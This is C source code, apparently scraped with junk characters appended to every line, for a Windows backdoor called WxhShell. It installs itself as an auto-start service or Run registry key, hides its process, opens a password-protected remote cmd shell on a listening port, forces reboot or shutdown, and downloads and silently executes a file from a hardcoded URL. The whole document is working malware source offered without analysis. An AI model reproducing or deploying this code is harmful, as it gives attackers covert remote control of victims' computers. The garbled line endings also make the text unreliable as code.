    else { 0_7A <   
    closesocket(wsh);  h"<-^=b  
    ExitThread(0); 5"1kfB3v  
    } B16,c9[  
    break; cnfjO g'\{  
    } J)R;NYl  
  // 获取shell 0&!,+  
  case 's': { __Ei;%cV  
    CmdShell(wsh);  #P8R  
    closesocket(wsh); sYlA{Z"  
    ExitThread(0); fN4d^0&  
    break; 9\F:<Bf$#  
  } *^cJn*QeL  
  // 退出 bnS"@^M  
  case 'x': { I@x^`^+l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l_ /q/8-l  
    CloseIt(wsh); go^?F- dZ  
    break; at_~b Ox6X  
    } Na8%TT>  
  // 离开 [0v`E5  
  case 'q': { 7Ddo ^Gtx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vvEr}G  
    closesocket(wsh); w-9FF%@<  
    WSACleanup(); R~nbJx$  
    exit(1); }F'B!8n  
    break; |FK ##8  
        } dq$H^BB+>  
  } nZ>8r  
  } dD _(MbTt  
</,RS5ukn  
  // 提示信息 + k1|+zzS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,r<!30~f  
} 1p#O(o  
  } o5(`7XV6D  
tE"aNA#=  
  return; X"yj sk  
} 1an?/j,  
JVO,@~~  
// shell模块句柄 7`,A]":;  
int CmdShell(SOCKET sock) 7}+U;0,)  
{ xE+Nz5F  
STARTUPINFO si; HFV4S]U=  
ZeroMemory(&si,sizeof(si)); ~@8r-[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &6*X&]V!Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M~ =Bln5  
PROCESS_INFORMATION ProcessInfo; pa1.+~)  
char cmdline[]="cmd"; *$uj)*5,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +k=BD s  
  return 0; W-9?|ei  
} !KiN} p  
l#!p?l  
// 自身启动模式 FGzMbi<l#(  
int StartFromService(void) +S!gS|8P  
{ >_9w4g_<  
typedef struct [d+f#\ut  
{ -*;-T9  
  DWORD ExitStatus; *aKT&5Ch-  
  DWORD PebBaseAddress; g]B! 29M  
  DWORD AffinityMask; 0<3)K[m~H  
  DWORD BasePriority; |)4Fe/!cJ  
  ULONG UniqueProcessId; R2uekpP  
  ULONG InheritedFromUniqueProcessId; R0>GM`{  
}   PROCESS_BASIC_INFORMATION; 1\G S"4~P  
&_mOw.  
PROCNTQSIP NtQueryInformationProcess; j*uc$hC"  
`?Wy;5-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p$r=jF&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \4;}S&`k  
i"eUacBz/-  
  HANDLE             hProcess; Y*!J +A#  
  PROCESS_BASIC_INFORMATION pbi; j<+Q Gd%  
&DnX6%2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RLuA^ONI  
  if(NULL == hInst ) return 0; X%ii z  
Oj6PmUK4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n)]]g3y2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <PCa37  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #SNwSx&  
oqu; D'8  
  if (!NtQueryInformationProcess) return 0; )n8(U%q$  
//9M~qHa"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !JZ)6mtlr  
  if(!hProcess) return 0; y7)s0g>%H  
(8bo"{zI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i vy+e-)  
l/|bU9o /u  
  CloseHandle(hProcess); s d -5AE  
["N{6d&Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K5; /  
if(hProcess==NULL) return 0; {(o$? =  
>lZ9Y{Y4v  
HMODULE hMod; xWNB/{F  
char procName[255]; \>}G|yL  
unsigned long cbNeeded; }bwH(OOS  
Bismd21F6=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e;QPn(  
{<\[gm\X  
  CloseHandle(hProcess); -)S(eqq1  
g=8}G$su{%  
if(strstr(procName,"services")) return 1; // 以服务启动 )?@X{AN&  
& ,KxE(C  
  return 0; // 注册表启动 njO5 YYOu  
} TF_~)f(`  
$+#Lq.3,  
// 主模块 &~ =q1?  
int StartWxhshell(LPSTR lpCmdLine) 8T3j/ D<r  
{ 3vs;ZBM  
  SOCKET wsl; zq(R!a6  
BOOL val=TRUE; 'q+CL&D  
  int port=0; 9NX/OctFa'  
  struct sockaddr_in door; Dwvd  
pq<302uBQ  
  if(wscfg.ws_autoins) Install(); 3v oas  
y _Mte  
port=atoi(lpCmdLine); xp+Z%0D  
(`z`ni  
if(port<=0) port=wscfg.ws_port; . 4$SNzv3V  
5u(B]_r.  
  WSADATA data; Ni"M.O);t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eVDO]5?  
"qb1jv#to  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1y/_D$~ZO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3`V #ImV>  
  door.sin_family = AF_INET; F(?A7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d(LX;sq?  
  door.sin_port = htons(port); vjfV??XSU  
FH"u9ygF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &y164xn'h  
closesocket(wsl); s\7]"3:wD  
return 1; UOi[#L@N  
} '"# W!p  
zUw=e}?:  
  if(listen(wsl,2) == INVALID_SOCKET) { e MX?x7  
closesocket(wsl); "oZ$/ap\  
return 1; })zYo 7  
} KW1 7CJ@  
  Wxhshell(wsl); U_1syaY!  
  WSACleanup(); a@>P?N~LA9  
-F&4<\=+  
return 0; 1 uKWvp0\  
'?WKKYD7N  
} jHP6d =  
+7HM7cw  
// 以NT服务方式启动 O!Rw? Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (5-4`:1ux  
{ 5Z2tTw'i  
DWORD   status = 0; O@$wU9 D<  
  DWORD   specificError = 0xfffffff; ]!v:xjzT  
@vy {Q7aM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9DAk|K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F;I %9-R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y|NL #F  
  serviceStatus.dwWin32ExitCode     = 0; 8efQ -^b.  
  serviceStatus.dwServiceSpecificExitCode = 0; ]<9KX} B  
  serviceStatus.dwCheckPoint       = 0; v6Vd V.BI  
  serviceStatus.dwWaitHint       = 0; 6*!R'  
B~[}E]WEK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H <gC{:S  
  if (hServiceStatusHandle==0) return; R~=_,JUW  
ZS@Gt  
status = GetLastError(); [;rty<Z^b  
  if (status!=NO_ERROR) m2j&v$  
{ SHc<`M'+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #osP"~{  
    serviceStatus.dwCheckPoint       = 0; z2EZ0vZ  
    serviceStatus.dwWaitHint       = 0; -d|Q|zF^x  
    serviceStatus.dwWin32ExitCode     = status; L)0j&  
    serviceStatus.dwServiceSpecificExitCode = specificError; b.Yl0Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1WArgR  
    return; %fv;C  
  } ]\fXy?2  
6 /A#P$G  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; BCrX>Pp }r  
  serviceStatus.dwCheckPoint       = 0; 9|;"+jlt  
  serviceStatus.dwWaitHint       = 0; v2vPf b  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QT!!KTf  
} Py&DnG'H  
'G6M:IXno  
// 处理NT服务事件,比如:启动、停止 dtXA EL\q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mX4u#$xs:  
{ +Wr"c  
switch(fdwControl) I U Mt^z  
{ ^rHG#^hA  
case SERVICE_CONTROL_STOP: ZSB_OS[N  
  serviceStatus.dwWin32ExitCode = 0; X=sC8Edx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zc}qAy'<  
  serviceStatus.dwCheckPoint   = 0; \.@fAgv  
  serviceStatus.dwWaitHint     = 0; 7K*\F}2)q  
  { , W w\C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VE <p,IO  
  } W .B>"u  
  return; m!Iax]D{  
case SERVICE_CONTROL_PAUSE: tA*hh"9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KGVAP  
  break; iyj,0T  
case SERVICE_CONTROL_CONTINUE: F(yx/W>Br_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BdK2I!mm  
  break; xK8n~.T('  
case SERVICE_CONTROL_INTERROGATE: n$jOk |W  
  break; MS_@ Xe  
}; 5BztOYn,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dBB;dN  
} y([""z3<w  
{*X8!P7C  
// 标准应用程序主函数 QN GICG-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5W T^;J9V  
{ #/UlW  
APfDy  
// 获取操作系统版本 ^KKU@ab9  
OsIsNt=GetOsVer(); DE0gd ux8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nb -Je+  
/Ir|& <yB  
  // 从命令行安装 ,>:   
  if(strpbrk(lpCmdLine,"iI")) Install(); X2 Z E9b  
yq?7!X  
  // 下载执行文件 Oq7R^t`b  
if(wscfg.ws_downexe) { oj8_e xx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `u./2]n  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ca&p;K9FR  
} 9PU9BYBG  
]m>N!Iu  
if(!OsIsNt) { ?8j#gYx2  
// 如果时win9x,隐藏进程并且设置为注册表启动 z>,fuR?9  
HideProc(); %(9BWO  
StartWxhshell(lpCmdLine); wFgL\[$^|  
} T:/68b*H\:  
else FqvMi:F  
  if(StartFromService()) _cWz9 ;  
  // 以服务方式启动 ~JU :a@)  
  StartServiceCtrlDispatcher(DispatchTable); :X?bWxOJ  
else s+=JT+g  
  // 普通方式启动 <`'^rCWI?  
  StartWxhshell(lpCmdLine); &#AK#`&)0i  
<@Lw '  
return 0; (>E}{{>2r  
} L>,j*a_[  
@YH<Hc  
.g|D  
\:ELO[(#|{  
=========================================== r*n_#&-7  
:3FJe  
75O-%9lFF  
#ny&bJj  
M"E ]r=1  
SS4'yaQ  
" v}$s,j3NO  
nDdF(|Qt  
#include <stdio.h> [lSQ?  
#include <string.h> liYR8D |  
#include <windows.h> 5M.KF;P  
#include <winsock2.h> 97$1na3gq  
#include <winsvc.h> % d%KH9u  
#include <urlmon.h> a^9-9*  
aCL_cVOMR  
#pragma comment (lib, "Ws2_32.lib") W?(^|<W  
#pragma comment (lib, "urlmon.lib") Fu K(SP3  
";)SA,Z  
#define MAX_USER   100 // 最大客户端连接数 .szs?  
#define BUF_SOCK   200 // sock buffer [jOvy>2K]  
#define KEY_BUFF   255 // 输入 buffer 7_AR()CM  
A[,[j?wC  
#define REBOOT     0   // 重启 jslfq@5v  
#define SHUTDOWN   1   // 关机 q=o"] 6  
Qx_K)  
#define DEF_PORT   5000 // 监听端口 pB3dx#l  
[n53 eC  
#define REG_LEN     16   // 注册表键长度 if S) < t  
#define SVC_LEN     80   // NT服务名长度 JD\:bI  
`&)khxT/  
// 从dll定义API .] S{T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0@ -3U{Q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p'`SYEY@Z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P5:X7[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `OY_v=}  
7[V6@K!Al[  
// wxhshell配置信息 B{D!5{t  
struct WSCFG { WHV]H  
  int ws_port;         // 监听端口 \Z +O9T%  
  char ws_passstr[REG_LEN]; // 口令 "hwG"3n1  
  int ws_autoins;       // 安装标记, 1=yes 0=no  2iUdTy$  
  char ws_regname[REG_LEN]; // 注册表键名 BjT0m k"P  
  char ws_svcname[REG_LEN]; // 服务名 OV l,o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >3S^9{d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 QU&b5!;&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fP>K!@!8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4_`ss+gk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #>SvYP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;st$TVzkn  
nUZ+N)*  
}; `.0QY<;  
WSdTP$?  
// default Wxhshell configuration AT#&`Ew  
struct WSCFG wscfg={DEF_PORT,  c`'2  
    "xuhuanlingzhe", }v'jFIkhI  
    1, u>G#{$)  
    "Wxhshell", FyXz(l:  
    "Wxhshell", K22'XrN  
            "WxhShell Service", [6bK>w"v  
    "Wrsky Windows CmdShell Service", -L9I;]:KY  
    "Please Input Your Password: ", w3^>{2iqq  
  1, ;tS4 h  
  "http://www.wrsky.com/wxhshell.exe", 9s5PJj"u  
  "Wxhshell.exe" fbbk;Rq.'3  
    }; x)X=sX.  
eBD7g-  
// 消息定义模块  oQrkd:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T~nmEap  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,j4 ;:F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -Oo7]8  
char *msg_ws_ext="\n\rExit."; \78w1Rkl  
char *msg_ws_end="\n\rQuit."; P'prp=JD  
char *msg_ws_boot="\n\rReboot..."; 4= VAJ  
char *msg_ws_poff="\n\rShutdown..."; !l7eB@O  
char *msg_ws_down="\n\rSave to "; 1|za>N6[yu  
_T\~AwVc<  
char *msg_ws_err="\n\rErr!"; I2@pkVv3z  
char *msg_ws_ok="\n\rOK!"; o{EWNkmj  
M PMa  
char ExeFile[MAX_PATH]; 4{d`-reHg  
int nUser = 0; QyJ2P{z  
HANDLE handles[MAX_USER]; (6C%w)8'  
int OsIsNt; FFTh}>>  
k+^-;=u 6<  
SERVICE_STATUS       serviceStatus; ub |tX 'o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; MZt~ Abt  
wIW]uo/=  
// 函数声明 E(i<3U"4h[  
int Install(void); $-dz1}  
int Uninstall(void); 2 {lo  
int DownloadFile(char *sURL, SOCKET wsh); `+~@VZ3m  
int Boot(int flag); \ 9T;-]  
void HideProc(void); V 0<>Xo%  
int GetOsVer(void); 0Hz*L,Bh4  
int Wxhshell(SOCKET wsl); yqpb_h9  
void TalkWithClient(void *cs); qTA@0fL  
int CmdShell(SOCKET sock); Ea%} VZ&[  
int StartFromService(void); IxY%d}[uo  
int StartWxhshell(LPSTR lpCmdLine); Z/ "jLfP  
*@'\4OO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +L4_]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .\0PyV(  
&n% 3rC5{  
// 数据结构和表定义 kan?2x  
SERVICE_TABLE_ENTRY DispatchTable[] = ^-3R+U- S  
{ 90%alG 1>y  
{wscfg.ws_svcname, NTServiceMain}, )v!>U<eprD  
{NULL, NULL} D`=hP( y^  
}; ,+0>p  
9JHu{r"M  
// 自我安装 qMAH~P0u  
int Install(void) ;c5Q"  
{ *KP 60T  
  char svExeFile[MAX_PATH]; 9aw- n*<  
  HKEY key; ~]71(u2  
  strcpy(svExeFile,ExeFile); o=`FGowF  
W s!N%%g  
// 如果是win9x系统,修改注册表设为自启动 %J06]FG7  
if(!OsIsNt) { gi;#?gps  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~eH+*U|\|M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \lVX~r4  
  RegCloseKey(key); I!y[7^R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }.<%46_Z-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]KMOLe6(  
  RegCloseKey(key); hSmu"a,S  
  return 0; _"8\k 7S*  
    } 56Q9RU(M  
  } pq`Bg`c  
} 8=^o2&  
else { MtAD&+3$  
m/"\+Hv  
// 如果是NT以上系统,安装为系统服务 jI$}\*g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); * %p6+D-C  
if (schSCManager!=0) CVsc#=w0  
{ @P:  
  SC_HANDLE schService = CreateService W{\){fr6O  
  ( ;mV,r,\dH  
  schSCManager, v%|()Z0  
  wscfg.ws_svcname, 2nOoG/6 E  
  wscfg.ws_svcdisp, K (yuL[p`  
  SERVICE_ALL_ACCESS, 0:^L>MO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , > m GO08X  
  SERVICE_AUTO_START, xN\ PQ,J  
  SERVICE_ERROR_NORMAL, iVM{ L  
  svExeFile, oI9Jp`  
  NULL, 4C&L%A  
  NULL, ]9?_ m@Ihx  
  NULL, ^F<[5e)M  
  NULL, DXAA[hUjF  
  NULL :U`8s#  
  ); 6g@@V=mf  
  if (schService!=0) [{F8+a^  
  { oLcOp.8h[  
  CloseServiceHandle(schService); s1XW}Dw  
  CloseServiceHandle(schSCManager); /i+8b(x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "1rZwFI0l  
  strcat(svExeFile,wscfg.ws_svcname); JHN3 5a+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ruM16*S{=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z<~gv"  
  RegCloseKey(key); Xidt\08s  
  return 0; 6Cut[*lj^  
    } I(r^q"  
  } 7kM_Ijd$  
  CloseServiceHandle(schSCManager); d;KrV=%30s  
} &UG7 g  
} O?omL5  
372ewh3'  
return 1; jyPY]r  
} \[&~.B  
>a98 H4  
// 自我卸载 P)~PrTa%  
int Uninstall(void) 8o~<\eF%  
{ 94L P )n  
  HKEY key; vv,OBL~{  
0(VQwGC[  
if(!OsIsNt) { *7hr3x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UA3%I8gu_  
  RegDeleteValue(key,wscfg.ws_regname); Zg%SE'kK  
  RegCloseKey(key); IEV3(qzt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4.bL>Y>c  
  RegDeleteValue(key,wscfg.ws_regname); kWL\JDZ`.  
  RegCloseKey(key); =V:rO;qX+@  
  return 0; 5Bw  
  } 3`4g*wO  
} j r6)K;:.  
} F9]j{'#  
else { Y7)YJI  
k3se<NL[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Zs!)w9y&V  
if (schSCManager!=0) WF<0QH  
{ ;pdW7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); emb~l{K$  
  if (schService!=0) 2E/#fX9!4  
  { fRJSo%  
  if(DeleteService(schService)!=0) { s%`o  
  CloseServiceHandle(schService); Rxld$@~-(]  
  CloseServiceHandle(schSCManager); ZWW:-3  
  return 0; 8%Zl;;W  
  } pDD0 QO  
  CloseServiceHandle(schService); [vpZ3;  
  } @AL,@P/9=  
  CloseServiceHandle(schSCManager); ^1U2&S  
} V 0R;q  
} 6sl*Ko[  
Vin d\yvM  
return 1; Kd CPt!  
} SE{$a3`UzP  
pdsjX)O+f  
// 从指定url下载文件 pU)wxv[~  
int DownloadFile(char *sURL, SOCKET wsh) ]>K%,}PS  
{ 7,ODh-?ez  
  HRESULT hr; LjjE(Yrv{  
char seps[]= "/"; }Tn]cL{]C  
char *token; R% XbO~{u  
char *file; uY5&93R  
char myURL[MAX_PATH]; FLY#   
char myFILE[MAX_PATH]; [Fe`}F}Co8  
*iS<]y  
strcpy(myURL,sURL); G}mJtXT#=  
  token=strtok(myURL,seps); +r9:n(VP  
  while(token!=NULL) p_ =^E*J]  
  { YD$fN"}-  
    file=token; ;7&RmIXKh'  
  token=strtok(NULL,seps); ~^=QBwDW8N  
  } 4`)B@<  
9 8bmia&H  
GetCurrentDirectory(MAX_PATH,myFILE); v#:#w.]-Y  
strcat(myFILE, "\\"); YS k,kU  
strcat(myFILE, file); 0*W=u-|s6  
  send(wsh,myFILE,strlen(myFILE),0); %WHue  
send(wsh,"...",3,0); f;#hcRSH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y!fV+S,  
  if(hr==S_OK) F?e_$\M  
return 0; <LQwH23@  
else R`Hyg4?  
return 1; -uN5 DJSW  
#)_4$<P*'  
} & :x_  
S/ ]2Qt#T  
// 系统电源模块 erYpeq.  
int Boot(int flag) WcAX/<Y>  
{ -uenCWF\#  
  HANDLE hToken; 5[[4A]#T  
  TOKEN_PRIVILEGES tkp; ^3IO.`|  
$@[6jy  
  if(OsIsNt) { ?AX./LI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); # 9Z];<g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ( du<0J|PT  
    tkp.PrivilegeCount = 1; D_`MeqF}C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tlu-zUsi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >f4H<V-  
if(flag==REBOOT) { )Ve?1?s '8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) py9(z`}  
  return 0; '>_'gR0O  
} nRN&u4  
else { {,|*99V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c&IIqT@Gb0  
  return 0; #0"Fw$Pc  
} _kl.zw%  
  } XKLkJZN  
  else { [GZ%K`wx  
if(flag==REBOOT) { xl@l<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,*8}TIS(s  
  return 0; 2Q,e1' =  
} M?x/C2|  
else { |2AK~t|t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j%Y`2Ra  
  return 0; i}N'W V`!  
} ([iMOE[D3  
} `Q^G k{9P  
* Ibl+  
return 1; X a#`VDh  
} g:`V:kbY$  
^k]OQc7q'  
// win9x进程隐藏模块 wqJ^tA!  
void HideProc(void) 3|-)]^1O  
{ NMM0'tY~  
rq Dre`m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L;H(I@p(e  
  if ( hKernel != NULL ) SaMg)s~B  
  { [>Z~& cm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,*%%BTnR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~~,\BhG?  
    FreeLibrary(hKernel); ir-srVoXy  
  } lNowH0K!D  
-("sp  
return; !"j?dQ.U;  
} u.x>::i&  
i]a 5cn  
// 获取操作系统版本 03L+[F&"?  
int GetOsVer(void) .Ebg>j:\  
{ AK%`EsI^  
  OSVERSIONINFO winfo; l_5]~N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SwpS6  
  GetVersionEx(&winfo); g"c\ouSY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xX*I .saK  
  return 1; Hly2{hokq  
  else @~hiL(IR'  
  return 0; j[k&O)A{C  
} A 'rfoA6  
Z0s}65BR  
// 客户端句柄模块 (4o_\&  
int Wxhshell(SOCKET wsl) wP8Wx~Q=  
{ 4\a KC%5  
  SOCKET wsh; 4UT %z}[!  
  struct sockaddr_in client; sxinA8  
  DWORD myID; pZUckQ  
n=WwB(}q  
  while(nUser<MAX_USER) <SGO+1zt p  
{ O{SP4|0JV  
  int nSize=sizeof(client); c+,F)i^`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ozwPtF5  
  if(wsh==INVALID_SOCKET) return 1; "MQy>mD6  
UUJbF$@;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oP;"`^_  
if(handles[nUser]==0) 109dB$+$  
  closesocket(wsh); 8+5# FC7  
else 9`VgD<?v  
  nUser++; Fy37I/#)r&  
  } c1B <9_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @?lmho?  
]Qm$S5tU  
  return 0; d,AEV_  
} `w';}sQA7  
jI %v[]V  
// 关闭 socket #N9^C@  
void CloseIt(SOCKET wsh) 8'[g?  
{ Ndq/n21j  
closesocket(wsh); I ,8   
nUser--; d"o5uo  
ExitThread(0); q{~59{Fha  
} WyciIO1  
6U~AKq"+f  
// 客户端请求句柄 67/JsL  
void TalkWithClient(void *cs) no_;^Ou?  
{ Z> Jm  
.P(k |D&  
  SOCKET wsh=(SOCKET)cs; p^QZGu-.W  
  char pwd[SVC_LEN]; BBuI|lr  
  char cmd[KEY_BUFF]; /}A"F[5  
char chr[1]; n]:Xmi8p  
int i,j; 4o?_G[  
" O0p.o  
  while (nUser < MAX_USER) { >L[n4x\  
3}R}|Ha J#  
if(wscfg.ws_passstr) { 36"-cGNr{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S"hA@j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )tYu3*'  
  //ZeroMemory(pwd,KEY_BUFF); " E+V >V+  
      i=0; 8*o*?1.  
  while(i<SVC_LEN) { GPV=(}z  
&iKy  
  // 设置超时 =`Ii ?xo  
  fd_set FdRead; z7TMg^9 #  
  struct timeval TimeOut; Io_bS+  
  FD_ZERO(&FdRead); 8'XAZSd(  
  FD_SET(wsh,&FdRead); -wn ,7;  
  TimeOut.tv_sec=8; v2eLH:6  
  TimeOut.tv_usec=0; :jL>sGvBv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "?9rJx$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;B*im S10  
`%S 35x9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -wr#.8rzTT  
  pwd=chr[0]; "3Y(uN  
  if(chr[0]==0xd || chr[0]==0xa) { wr);+.T9R  
  pwd=0; >D]g:t@v  
  break; ]90BIJ]*c  
  } 6[+@#IWx  
  i++; >u?m Bx  
    } +/O3L=QyJ  
RT C;Wj  
  // 如果是非法用户,关闭 socket Q$,AQyBlqc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |m{u]9  
} l9{}nz  
WSEw:pln  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hK]mnA[Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %lsRj)n  
Y#e,NN  
while(1) { LH}]& >F  
'#<4oW\]  
  ZeroMemory(cmd,KEY_BUFF);  kg &R  
tzIcR #Z  
      // 自动支持客户端 telnet标准   a+mrsyM  
  j=0; w?#s)z4}g  
  while(j<KEY_BUFF) { Cb}I-GtO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ehTrjb3k  
  cmd[j]=chr[0];  zSd!n  
  if(chr[0]==0xa || chr[0]==0xd) { Ww=^P{q\  
  cmd[j]=0; Gxhr0'  
  break; _v6x3 Z  
  } TXL!5, X_  
  j++; m&MAA^I  
    } jouA ]E  
Q DVk7ks  
  // 下载文件 lcVZ 32MQ  
  if(strstr(cmd,"http://")) { uH{oJSrK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %eOO8^N  
  if(DownloadFile(cmd,wsh)) gOy;6\/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l+nT$IPF  
  else }G/!9Zq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UaCfXTG  
  } n }kn|To~  
  else { qdnwaJ;&  
&J?:wC=E  
    switch(cmd[0]) { /hN;\Z[@  
  v<3KxP'a  
  // 帮助 =h\unQ1T  
  case '?': { 'MgYSP<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); % * k`z#b  
